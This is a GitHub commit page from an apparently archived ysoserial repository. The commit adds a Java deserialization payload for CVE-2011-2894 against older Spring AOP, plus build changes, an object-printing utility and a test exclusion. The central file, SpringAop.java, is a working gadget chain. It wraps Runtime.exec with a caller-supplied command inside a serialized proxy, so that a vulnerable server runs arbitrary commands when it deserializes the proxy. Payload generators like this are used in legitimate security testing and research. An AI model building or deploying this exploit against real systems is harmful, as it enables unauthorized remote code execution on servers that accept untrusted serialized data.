Skip to content
This repository has been archived by the owner on Nov 13, 2019. It is now read-only.

Commit

Permalink
Add the payload for CVE-2011-2894 (Spring AOP)
Browse files Browse the repository at this point in the history
+ some utility to display the state of a Java object before and after serialisation
  • Loading branch information
h3xstream committed Mar 3, 2016
1 parent 3957436 commit ced3684
Show file tree
Hide file tree
Showing 7 changed files with 271 additions and 23 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@
.project
.settings/
pwntest
.idea/
*.iml
18 changes: 16 additions & 2 deletions pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<spring.version>4.1.4.RELEASE</spring.version> <!-- 3.0.5.RELEASE -->
</properties>

<build>
Expand Down Expand Up @@ -124,12 +125,25 @@
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
<version>${spring.version}</version>
</dependency>

<!-- Spring AOP used for Spring AOP payload -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>${spring.version}</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.8.8</version>
</dependency>

</dependencies>
</project>
146 changes: 146 additions & 0 deletions src/main/java/ysoserial/payloads/SpringAop.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,146 @@
package ysoserial.payloads;

import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.GenericBeanDefinition;
import org.springframework.aop.target.SimpleBeanTargetSource;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAopProxyFactory;

import java.io.NotSerializableException;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import org.springframework.beans.factory.config.BeanDefinition;

import java.util.Collections;

import org.springframework.beans.factory.config.MethodInvokingFactoryBean;

import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PrintUtil;
import ysoserial.payloads.util.PayloadRunner;

import javassist.*;
import ysoserial.payloads.util.Reflections;

import java.util.List;

/**
* This is a gadget that work on an older version of Spring (compare to Spring1 gadget).
*
* The gadget was created Alvaro Muñoz (@pwntester) (CVE-2011-2894)
*
* http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
*/
@SuppressWarnings({"restriction", "rawtypes"})
@Dependencies({"org.springframework:spring-core:3.0.5.RELEASE","org.springframework:spring-beans:3.0.5.RELEASE","org.springframework:spring-aop:3.0.5.RELEASE"})
public class SpringAop extends PayloadRunner implements ObjectPayload<Object> {

private static boolean DEBUG = false;

public Object getObject(final String command) throws Exception {
if(DEBUG) System.out.println("[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");

Object instrumentedFactory = null;
ClassPool pool = ClassPool.getDefault();
try {
pool.appendClassPath(new LoaderClassPath(BeanDefinition.class.getClassLoader()));
CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
// Call setSerialVersionUID before modifying a class to maintain serialization compatability.
SerialVersionUID.setSerialVersionUID(instrumentedClass);
CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
//method.insertBefore("{ System.out.println(\"TESTING\"); }");
method.setName("writeReplaceDisabled");
Class instrumentedFactoryClass = instrumentedClass.toClass();
instrumentedFactory = instrumentedFactoryClass.newInstance();
} catch (Exception e) {
e.printStackTrace();
}
// Modified BeanFactory
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;

// Create malicious bean definition programatically
if(DEBUG) System.out.println("[+] Creating malicious bean definition programatically");

// First we will set up a bean created with a factory method (instead of using the constructor) that will return a java.lang.Runtime
// Runtime or ProcessBuilder are not serializable so we cannot use them for the MethodInvokingFactory targetObject, but we can use a bean definition instead that wraps
// these objects as the server will instantiate them
GenericBeanDefinition runtime = new GenericBeanDefinition();
runtime.setBeanClass(Runtime.class);
runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static

// Exploit bean to be registered in the bean factory as the target source
GenericBeanDefinition payload = new GenericBeanDefinition();
// use MethodInvokingFactoryBean instead of factorymethod because we need to pass arguments,
// and can't do that with the unserializable ConstructorArgumentValues
payload.setBeanClass(MethodInvokingFactoryBean.class);
payload.setScope("prototype");
payload.getPropertyValues()
.add("targetObject", runtime)
.add("targetMethod", "exec")
.add("arguments", Collections.singletonList(command));

beanFactory.registerBeanDefinition("exploit", payload);


// Preparing BeanFactory to be serialized
if(DEBUG) System.out.println("[+] Preparing BeanFactory to be serialized");

if(DEBUG) System.out.println("[+] Nullifying non-serializable members");
Reflections.setFieldValue(payload, "constructorArgumentValues", null);

if(DEBUG) System.out.println("[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues());
Reflections.setFieldValue(payload, "methodOverrides", null);

if(DEBUG) System.out.println("[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides());
Reflections.setFieldValue(runtime, "constructorArgumentValues", null);

if(DEBUG) System.out.println("[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues());
Reflections.setFieldValue(runtime, "methodOverrides", null);

if(DEBUG) System.out.println("[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides());

Reflections.setFieldValue(beanFactory, "autowireCandidateResolver", null);

if(DEBUG) System.out.println("[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver());


// AbstractBeanFactoryBasedTargetSource
if(DEBUG) System.out.println("[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");
SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();
targetSource.setTargetBeanName("exploit");
targetSource.setBeanFactory(beanFactory);

// JdkDynamicAopProxy (InvocationHandler)
System.out.println("[+] Creating the handler and configuring the target source pointing to our malicious bean factory");
AdvisedSupport config = new AdvisedSupport();
config.addInterface(List.class); // So that the factory returns a JDK dynamic proxy
config.setTargetSource(targetSource);
DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();
InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

// Proxy
System.out.println("[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");
List proxy = (List) Proxy.newProxyInstance(getClass().getClassLoader(), new Class<?>[] { List.class }, handler);

PrintUtil.printObject(proxy);
return proxy;
}

/**
* The deserialization will failed on this project. But a remote server with Spring version < 3.0.5 should execute
* successfully the payload.
* @param args
* @throws Exception
*/
public static void main(final String[] args) throws Exception {

try {
PayloadRunner.run(SpringAop.class, args);
}
catch (NotSerializableException e) {
System.err.println("Unable to generate the payload.");
System.err.println("/!\\ The spring version must be set to 3.0.5.RELEASE to generate this payload.");
}
}
}
9 changes: 3 additions & 6 deletions src/main/java/ysoserial/payloads/util/PayloadRunner.java
Original file line number Diff line number Diff line change
Expand Up @@ -29,12 +29,9 @@ public byte[] call() throws Exception {
return Serializer.serialize(objBefore);
}});

try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("deserializing payload");
final Object objAfter = deserialize(serialized);
objAfter.toString(); //Some payload needed some interaction(See Spring-AOP)

}

Expand Down
86 changes: 86 additions & 0 deletions src/main/java/ysoserial/payloads/util/PrintUtil.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
package ysoserial.payloads.util;

import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.List;

public class PrintUtil {

/**
* Print the state of a given object.
* @param obj
* @throws IllegalAccessException
*/
public static void printObject(Object obj) throws IllegalAccessException {
System.out.println("===");
printObject(obj,0);
System.out.println("===");
}

private static void printObject(Object obj, int indent) throws IllegalAccessException {
if(indent > 10) {
System.out.println(repeat("\t",indent)+" !! Potential recursive reference");
return;
}
if(obj instanceof Number || obj instanceof String || obj instanceof Boolean || obj instanceof Class) {
return;
}

if(obj instanceof Serializable) {
//System.out.println(StringUtils.repeat("\t",indent)+"[[Array "+obj.getClass()+"]]");
if(obj.getClass().isArray()) {
int length = Array.getLength(obj);
if(length == 0) {
System.out.println(repeat("\t",indent)+" Empty array");
}
for (int i = 0; i < length; i ++) {
Object arrayElement = Array.get(obj, i);
System.out.println(repeat("\t",indent)+" ["+i+"] "+arrayElement);
printObject(arrayElement, indent + 1);
}
}
else {
System.out.println(repeat("\t",indent)+"{{"+obj.getClass()+"}}");
for (Field field : getAllFields(obj.getClass())) {
if (!Modifier.isStatic(field.getModifiers())) {
field.setAccessible(true);
System.out.println(repeat("\t", indent) + " - " + field.getName() + " (" + field.getType().getSimpleName() + ") = " + field.get(obj));
printObject(field.get(obj), indent + 1);
}

}
}
}
}

/**
* Get fields including the fields from the subclass.
* @param clazz
* @return
*/
private static List<Field> getAllFields(Class clazz) {
List<Field> allFields = new ArrayList<Field>();

Class topClazz = clazz;
while (topClazz != null) {
for (Field f : topClazz.getDeclaredFields()) {
allFields.add(f);
}
topClazz = topClazz.getSuperclass();
}

return allFields;
}

public static String repeat(String str, int repeat) {
StringBuffer buf = new StringBuffer(str.length() * repeat);
for (int i = 0; i < repeat; i++) {
buf.append(str);
}
return buf.toString();
}
}
24 changes: 16 additions & 8 deletions src/main/java/ysoserial/payloads/util/Reflections.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,22 @@

public class Reflections {

public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Class topClazz = clazz;
Field field = null;
while (topClazz != null) {
try {
field = topClazz.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
}
topClazz = topClazz.getSuperclass();
}
if (field == null) {
throw new NoSuchFieldException(clazz.getSimpleName() + " does not have the field " + fieldName + "");
}
field.setAccessible(true);
return field;
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
Expand Down
9 changes: 2 additions & 7 deletions src/test/java/ysoserial/payloads/PayloadsTest.java
Original file line number Diff line number Diff line change
@@ -1,25 +1,19 @@
package ysoserial.payloads;

import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;

import java.io.File;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.Set;
import java.util.concurrent.Callable;

import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert;
import org.junit.Rule;
import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;

import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.Throwables;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
Expand All @@ -44,7 +38,8 @@ public class PayloadsTest {
@Parameters(name = "payloadClass: {0}")
public static Class<? extends ObjectPayload<?>>[] payloads() {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
//SpringAop will only work if the pom.xml is change to used a old version of Spring
payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class, SpringAop.class));
return payloadClasses.toArray(new Class[0]);
}

Expand Down

0 comments on commit ced3684

Please sign in to comment.